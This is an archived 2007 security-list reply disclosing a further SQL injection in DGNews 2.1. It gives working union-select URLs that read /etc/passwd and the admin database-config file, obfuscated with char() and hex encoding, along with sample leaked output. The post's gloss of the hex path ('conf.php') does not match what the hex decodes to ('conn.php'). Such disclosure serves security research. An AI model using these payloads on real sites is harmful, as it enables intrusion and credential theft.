Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Re: DGNews version 2.1 SQL Injection Vulnerability |
|---|---|
| Date: | 29 May 2007 06:43:19 -0000 |
hi there
there's also another sql injection on this script:
news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7%20from%20news_comment/*
//result: "This news has 1 comments. Please read, or post one by click here.
* 5 (by: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:..................."
read the database credentials plain text :
news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(0x2F7573722F6C6F63616C2F617061636865322F6874646F63732F64676E6577732F61646D696E2F636F6E6E2E706870),4,5,6,7%20from%20news_comment/*
//information is in the source code.
*
0x2F7573722F6C6F63616C2F617061636865322F6874646F63732F64676E6577732F61646D696E2F636F6E6E2E706870
= /usr/local/apache2/htdocs/dgnews/admin/conf.php
ps: works regardless of php.ini settings .
regards laurent gaffie
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Mac OS X vpnd local format string, NGSSoftware Insight Security Research |
|---|---|
| Next by Date: | [MajorSecurity Advisory #48]eggblog - Session fixation Issue, admin |
| Previous by Thread: | DGNews version 2.1 SQL Injection Vulnerability, securityresearch |
| Next by Thread: | myEvent version 1.6 Multiple Path Disclosure Vulnerabilities, securityresearch |
| Indexes: | [Date] [Thread] [Top] [All Lists] |